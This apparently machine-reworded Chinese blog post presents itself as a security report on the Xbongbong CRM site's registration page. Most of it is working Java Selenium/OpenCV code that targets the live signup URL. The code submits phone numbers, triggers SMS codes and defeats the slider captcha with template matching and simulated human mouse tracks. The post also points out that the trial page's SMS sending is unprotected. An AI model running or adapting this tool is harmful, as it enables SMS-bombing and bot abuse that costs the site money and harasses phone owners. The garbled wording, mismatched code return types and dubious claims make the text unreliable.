【销帮帮-注册_登录安全分析陈诉-试用页面存在安全隐患】

联通付出注册/登录安全分析陈诉
前言
由于网站注册入口容易被黑客攻击，存在如下安全问题：

• 暴力破解密码，造成用户信息泄露
  
• 短信盗刷的安全问题，影响业务及导致用户投诉
  
• 带来经济损失，尤其是后付费客户，风险巨大，造成亏损无底洞
  
  
  
  

所以大部分网站及App 都采取图形验证码或滑动验证码等交互办理方案， 但在机器学习能力进步的当下，连百度这样的大厂都遭受攻击导致点名批评， 图形验证及交互验证方式的安全性到底怎样？ 请看具体分析
一、 销帮帮PC 注册入口

简介：杭州逍邦网络科技有限公司建立于2015年,是国内一线CRM品牌和企服范畴着名品牌。 致力为客户提供专业的客户全生命周期管理和数字化销售管理服务,助力企业提升业绩，让企业更成功。销帮帮拥有强大而灵活的“PaaS+低代码”能力。

二、 安全性分析陈诉：

销帮帮自研的滑动验证码，容易被模仿器绕过甚至逆向后暴力攻击，滑动拼图识别率在 95% 以上，该网站存在一个试用页面入口无任何防御的问题。

三、 测试方法：

前端界面分析，这是销帮帮自己研发的滑动验证码，网上没有现成的教学视频，但情势都差不多，难点:防模仿器鼠标，物理鼠标和逻辑鼠标定位不一致判断措施，办理思路为让JS 这部分代码失效或这采取 物理定位鼠标的部分，目前采取的是物理鼠标的方式。
这次还是采取模仿器的方式，关键点重要模仿器交互、间隔识别和轨道算法3部分
1. 模仿器交互部分

1.         private OpenCv2 openCv2 = new OpenCv2(64, 128);
3.         private static String INDEX_URL = "https://appwebfront.xbongbong.com/stand-alone-login.html#/";
5.         @Override
6.         public RetEntity send(WebDriver driver, String areaCode, String phone) {
7.                 RetEntity retEntity = new RetEntity();
8.                 try {
9.                         driver.get(INDEX_URL);
11.                         driver.findElement(By.xpath("//p[contains(text(),'免费注册')]")).click();
13.                         Thread.sleep(100);
14.                         // 输入手机号
15.                         WebElement phoneElemet = ChromeDriverManager.waitElement(driver, By.xpath("//input[contains(@placeholder,'请输入手机号')]"), 10);
16.                         phoneElemet.sendKeys(phone);
18.                         // 点击获取验证码
19.                         WebElement sendElement = driver.findElement(By.xpath("//button/span[contains(text(),'获取验证码')]"));
20.                         sendElement.click();
22.                         Thread.sleep(1000);
23.                         // pic 1 get big
24.                         WebElement bigImgElement = driver.findElement(By.xpath("//div[@class='verify-img-panel']/img"));
25.                         String bigSrc = bigImgElement.getAttribute("src");
26.                         byte[] bigBytes = GetImage.imgStrToByte(bigSrc);
27.                         int bigLen = (bigBytes != null) ? bigBytes.length : 0;
28.                         if (bigLen < 100) {
29.                                 System.out.println("base64Str=" + bigSrc + "->bigLen=" + bigLen);
30.                                 return null;
31.                         }
33.                         // pic 2 get small
34.                         WebElement smallImgElement = driver.findElement(By.xpath("//div[@class='verify-sub-block']/img"));
35.                         String smallSrc = smallImgElement.getAttribute("src");
36.                         byte[] smallBytes = GetImage.imgStrToByte(smallSrc);
37.                         int smallLen = (smallBytes != null) ? smallBytes.length : 0;
38.                         if (smallLen < 100) {
39.                                 System.out.println("smallSrc=" + smallSrc + "->smallLen=" + smallLen);
40.                                 return null;
41.                         }
42.                         String ckSum = GenChecksumUtil.genChecksum(bigBytes);
43.                         Map<String, Double> openResult = openCv2.getOpenCvDistance(ckSum, bigBytes, smallBytes, this.getClass().getSimpleName(), 0);
44.                         if (openResult == null || openResult.size() < 2) {
45.                                 System.out.println("ckSum=" + ckSum + "->openResult=" + openResult);
46.                                 return null;
47.                         }
48.                         Double r = 1.0;
49.                         BigDecimal disD = new BigDecimal(openResult.get("minX") * r).setScale(0, BigDecimal.ROUND_HALF_UP);
50.                         int distance = disD.intValue();
51.                         boolean isRobot = true;
52.                         int beginX = 827;
53.                         int beginY = 659;
54.                         if (isRobot) {
55.                                 RobotMove.move(beginX, beginY, distance);
56.                         } else {
57.                                 WebElement moveElement = driver.findElement(By.className("verify-left-bar"));
58.                                 ActionMove.move(driver, moveElement, distance);
59.                         }
60.                         System.out.println("distance=" + distance);
61.                         Thread.sleep(1000);
63.                         WebElement infoElement = ChromeDriverManager.waitElement(driver, By.xpath("//button/span/span[contains(text(),'(')]"), 20);
64.                         String info = (infoElement != null) ? infoElement.getText() : null;
65.                         retEntity.setMsg(info);
66.                         if (info != null && info.contains("(")) {
67.                                 retEntity.setRet(0);
68.                         }
69.                         return retEntity;
70.                 } catch (Exception e) {
71.                         System.out.println("phone=" + phone + ",e=" + e.toString());
72.                         for (StackTraceElement ele : e.getStackTrace()) {
73.                                 System.out.println(ele.toString());
74.                         }
75.                         return null;
76.                 }
77.         }

复制代码

2. 间隔识别

2. /**
3.          *
4.          * @param ckSum
5.          * @param bigBytes
6.          * @param smallBytes
7.          * @param factory
8.          * @return { width, maxX }
9.          */
11.         public String[] getOpenCvDistance(String ckSum, byte bigBytes[], byte smallBytes[], String factory, int border) {
12.                 try {
13.                         String basePath = ConstTable.codePath + factory + "/";
14.                         File baseFile = new File(basePath);
15.                         if (!baseFile.isDirectory()) {
16.                                 baseFile.mkdirs();
17.                         }
18.                         // 小图文件
19.                         File smallFile = new File(basePath + ckSum + "_s.png");
20.                         FileUtils.writeByteArrayToFile(smallFile, smallBytes);
21.                         // 大图文件
22.                         File bigFile = new File(basePath + ckSum + "_b.png");
23.                         FileUtils.writeByteArrayToFile(bigFile, bigBytes);
24.                         // 边框清理(去干扰)
25.                         byte[] clearBoder = (border > 0) ? ImageIOHelper.clearBoder(smallBytes, border) : smallBytes;
26.                         File tpFile = new File(basePath + ckSum + "_t.png");
27.                         FileUtils.writeByteArrayToFile(tpFile, clearBoder);
29.                         String resultFile = basePath + ckSum + "_o.png";
30.                         return getWidth(tpFile.getAbsolutePath(), bigFile.getAbsolutePath(), resultFile);
31.                 } catch (Throwable e) {
32.                         logger.error("getMoveDistance() ckSum=" + ckSum + " " + e.toString());
33.                         for (StackTraceElement elment : e.getStackTrace()) {
34.                                 logger.error(elment.toString());
35.                         }
36.                         return null;
37.                 }
38.         }
40.         /**
41.          * Open Cv 图片模板匹配
42.          *
43.          * @param tpPath
44.          *            模板图片路径
45.          * @param bgPath
46.          *            目标图片路径
47.          * @return { width, maxX }
48.          */
49.         private String[] getWidth(String tpPath, String bgPath, String resultFile) {
50.                 try {
51.                         Rect rectCrop = clearWhite(tpPath);
52.                         Mat g_tem = Imgcodecs.imread(tpPath);
53.                         Mat clearMat = g_tem.submat(rectCrop);
55.                         Mat cvt = new Mat();
56.                         Imgproc.cvtColor(clearMat, cvt, Imgproc.COLOR_RGB2GRAY);
57.                         Mat edgesSlide = new Mat();
58.                         Imgproc.Canny(cvt, edgesSlide, threshold1, threshold2);
59.                         Mat cvtSlide = new Mat();
60.                         Imgproc.cvtColor(edgesSlide, cvtSlide, Imgproc.COLOR_GRAY2RGB);
61.                         Imgcodecs.imwrite(tpPath, cvtSlide);
63.                         Mat g_b = Imgcodecs.imread(bgPath);
64.                         Mat edgesBg = new Mat();
65.                         Imgproc.Canny(g_b, edgesBg, threshold1, threshold2);
66.                         Mat cvtBg = new Mat();
67.                         Imgproc.cvtColor(edgesBg, cvtBg, Imgproc.COLOR_GRAY2RGB);
69.                         int result_rows = cvtBg.rows() - cvtSlide.rows() + 1;
70.                         int result_cols = cvtBg.cols() - cvtSlide.cols() + 1;
71.                         Mat g_result = new Mat(result_rows, result_cols, CvType.CV_32FC1);
72.                         Imgproc.matchTemplate(cvtBg, cvtSlide, g_result, Imgproc.TM_CCOEFF_NORMED); // 归一化平方差匹配法
73.                         // 归一化相关匹配法
74.                         MinMaxLocResult minMaxLoc = Core.minMaxLoc(g_result);
75.                         Point maxLoc = minMaxLoc.maxLoc;
76.                         Imgproc.rectangle(cvtBg, maxLoc, new Point(maxLoc.x + cvtSlide.cols(), maxLoc.y + cvtSlide.rows()), new Scalar(0, 0, 255), 1);
77.                         Imgcodecs.imwrite(resultFile, cvtBg);
78.                         String width = String.valueOf(cvtSlide.cols());
79.                         String maxX = String.valueOf(maxLoc.x + cvtSlide.cols());
80.                         System.out.println("OpenCv2.getWidth() width=" + width + ",maxX=" + maxX);
81.                         return new String[] { width, maxX };
82.                 } catch (Throwable e) {
83.                         System.out.println("getWidth() " + e.toString());
84.                         logger.error("getWidth() " + e.toString());
85.                         for (StackTraceElement elment : e.getStackTrace()) {
86.                                 logger.error(elment.toString());
87.                         }
88.                         return null;
89.                 }
90.         }
92.         public Rect clearWhite(String smallPath) {
93.                 try {
94.                         Mat matrix = Imgcodecs.imread(smallPath);
95.                         int rows = matrix.rows();// height -> y
96.                         int cols = matrix.cols();// width -> x
97.                         System.out.println("OpenCv2.clearWhite()  rows=" + rows + ",cols=" + cols);
98.                         Double rgb;
99.                         double[] arr;
100.                         int minX = 255;
101.                         int minY = 255;
102.                         int maxX = 0;
103.                         int maxY = 0;
104.                         Color c;
105.                         for (int x = 0; x < cols; x++) {
106.                                 for (int y = 0; y < rows; y++) {
107.                                         arr = matrix.get(y, x);
108.                                         rgb = 0.00;
109.                                         for (int i = 0; i < 3; i++) {
110.                                                 rgb += arr[i];
111.                                         }
112.                                         c = new Color(rgb.intValue());
113.                                         int b = c.getBlue();
114.                                         int r = c.getRed();
115.                                         int g = c.getGreen();
116.                                         int sum = r + g + b;
117.                                         if (sum >= 5) {
118.                                                 if (x <= minX)
119.                                                         minX = x;
120.                                                 else if (x >= maxX)
121.                                                         maxX = x;
122.                                                 if (y <= minY)
123.                                                         minY = y;
124.                                                 else if (y >= maxY)
125.                                                         maxY = y;
126.                                         }
127.                                 }
128.                         }
130.                         int boder = 1;
131.                         if (boder > 0) {
132.                                 minX = (minX > boder) ? minX - boder : 0;
133.                                 maxX = (maxX + boder < cols) ? maxX + boder : cols;
134.                                 minY = (minY > boder) ? minY - boder : 0;
135.                                 maxY = (maxY + boder < rows) ? maxY + boder : rows;
136.                         }
138.                         int width = (maxX - minX);
139.                         int height = (maxY - minY);
140.                         System.out.println("openCv2 minX=" + minX + ",minY=" + minY + ",maxX=" + maxX + ",maxY=" + maxY + "->width=" + width + ",height=" + height);
141.                         Rect rectCrop = new Rect(minX, minY, width, height);
142.                         return rectCrop;
143.                 } catch (Throwable e) {
144.                         StringBuffer er = new StringBuffer("clearWrite() " + e.toString() + "\n");
145.                         for (StackTraceElement elment : e.getStackTrace()) {
146.                                 er.append(elment.toString() + "\n");
147.                         }
148.                         logger.error(er.toString());
149.                         System.out.println(er.toString());
150.                         return null;
151.                 }
152.         }

复制代码

3. 轨道天生及移动算法

3.         /**
4.          * 双轴轨道生成算法，主要实现平滑加速和减速
5.          *
6.          * @param distance
7.          * @return
8.          */
9.         public static List<Integer[]> getXyTrack(int distance) {
10.                 List<Integer[]> track = new ArrayList<Integer[]>();// 移动轨迹
11.                 try {
12.                         int a = (int) (distance / 3.0) + random.nextInt(10);
13.                         int h = 0, current = 0;// 已经移动的距离
14.                         BigDecimal midRate = new BigDecimal(0.7 + (random.nextInt(10) / 100.00)).setScale(4, BigDecimal.ROUND_HALF_UP);
15.                         BigDecimal mid = new BigDecimal(distance).multiply(midRate).setScale(0, BigDecimal.ROUND_HALF_UP);// 减速阈值
16.                         BigDecimal move = null;// 每次循环移动的距离
17.                         List<Integer[]> subList = new ArrayList<Integer[]>();// 移动轨迹
18.                         boolean plus = true;
19.                         Double t = 0.18, v = 0.00, v0;
20.                         while (current <= distance) {
21.                                 h = random.nextInt(2);
22.                                 if (current > distance / 2) {
23.                                         h = h * -1;
24.                                 }
25.                                 v0 = v;
26.                                 v = v0 + a * t;
27.                                 move = new BigDecimal(v0 * t + 1 / 2 * a * t * t).setScale(4, BigDecimal.ROUND_HALF_UP);// 加速
28.                                 if (move.intValue() < 1)
29.                                         move = new BigDecimal(1L);
30.                                 if (plus) {
31.                                         track.add(new Integer[] { move.intValue(), h });
32.                                 } else {
33.                                         subList.add(0, new Integer[] { move.intValue(), h });
34.                                 }
35.                                 current += move.intValue();
36.                                 if (plus && current >= mid.intValue()) {
37.                                         plus = false;
38.                                         move = new BigDecimal(0L);
39.                                         v = 0.00;
40.                                 }
41.                         }
42.                         track.addAll(subList);
43.                         int bk = current - distance;
44.                         if (bk > 0) {
45.                                 for (int i = 0; i < bk; i++) {
46.                                         track.add(new Integer[] { -1, h });
47.                                 }
48.                         }
49.                         System.out.println("getMoveTrack(" + midRate + ") a=" + a + ",distance=" + distance + " -> mid=" + mid.intValue() + " size=" + track.size());
50.                         return track;
51.                 } catch (Exception e) {
52.                         System.out.print(e.toString());
53.                         return null;
54.                 }
55.         }
57.         /**
58.          * 模拟人工移动
59.          *
60.          * @param driver
61.          * @param element页面滑块
62.          * @param distance需要移动距离
63.          * @throws InterruptedException
64.          */
65.         public static void move(WebDriver driver, WebElement element, int distance) throws InterruptedException {
66.                 List<Integer[]> track = getXyTrack(distance);
67.                 if (track == null || track.size() < 1) {
68.                         System.out.println("move() track=" + track);
69.                 }
70.                 int moveY, moveX;
71.                 StringBuffer sb = new StringBuffer();
72.                 try {
73.                         Actions actions = new Actions(driver);
74.                         actions.clickAndHold(element).perform();
75.                         Thread.sleep(50);
76.                         long begin, cost;
77.                         Integer[] move;
78.                         int sum = 0;
79.                         for (int i = 0; i < track.size(); i++) {
80.                                 begin = System.currentTimeMillis();
81.                                 move = track.get(i);
82.                                 moveX = move[0];
83.                                 sum += moveX;
84.                                 moveY = move[1];
85.                                 if (moveX < 0) {
86.                                         if (sb.length() > 0) {
87.                                                 sb.append(",");
88.                                         }
89.                                         sb.append(moveX);
90.                                 }
91.                                 actions.moveByOffset(moveX, moveY).perform();
92.                                 cost = System.currentTimeMillis() - begin;
93.                                 if (cost < 5) {
94.                                         Thread.sleep(5 - cost);
95.                                 }
96.                         }
97.                         if (sb.length() > 0) {
98.                                 System.out.println("-----backspace[" + sb.toString() + "]sum=" + sum + ",distance=" + distance);
99.                         }
100.                         Thread.sleep(180);
101.                         actions.release(element).perform();
102.                         Thread.sleep(500);
103.                 } catch (Exception e) {
104.                         StringBuffer er = new StringBuffer("move() " + e.toString() + "\n");
105.                         for (StackTraceElement elment : e.getStackTrace())
106.                                 er.append(elment.toString() + "\n");
107.                         logger.error(er.toString());
108.                         System.out.println(er.toString());
109.                 }
110.         }

复制代码

4. 图片比对结果测试样例：

四丶结语

杭州逍邦网络科技有限公司建立于2015年,是国内一线CRM品牌和企服范畴着名品牌。 致力为客户提供专业的客户全生命周期管理和数字化销售管理服务,助力企业提升业绩，让企业更成功。 销帮帮拥有强大而灵活的“PaaS+低代码”能力。在吸取了偕行滑动验证码的履历后，自己研发了独特风格的那个验证码， 从逆向代码来看， 不仅鉴戒了偕行的技术原理，还在防抓取上下了功夫，防模仿器鼠标，物理鼠标和逻辑鼠标定位不一致判断措施，办理思路为让JS 这部分代码失效或这采取 物理定位鼠标的部分，目前采取的是物理鼠标的方式。
从这点看，的确让初级黑客止步，但本质上， 前端技术都是暴露在浏览器，不管是JS 注入还是后端署理模式，都会让这些小技巧无效。
另一方面，该网站试用页面入口短信验证无任何验证，存在被盗刷短信的隐患。
   很多人在短信服务刚开始建立的阶段，大概不会在安全方面考虑太多，来由有很多。
比如：“ 需求这么赶，固然是先实现功能啊 ”，“ 业务量很小啦，系统就这么点人用，不怕的 ” ， “ 我们怎么会被盯上呢，不大概的 ”等等。
  有一些来由固然有原理，但是该来的总是会来的。前期欠下来的债，总是要还的。越早还，问题就越小，损失就越低。
  所以大家在安全方面还是要重视。（血淋淋的栗子！）#安全短信#
  戳这里→康康你手机号在过多少网站注册过！！！
谷歌图形验证码在AI 眼前已经形同虚设，所以谷歌宣布退出验证码服务， 那么当所有的图形验证码都被破解时，大家又该怎样做好防御呢？
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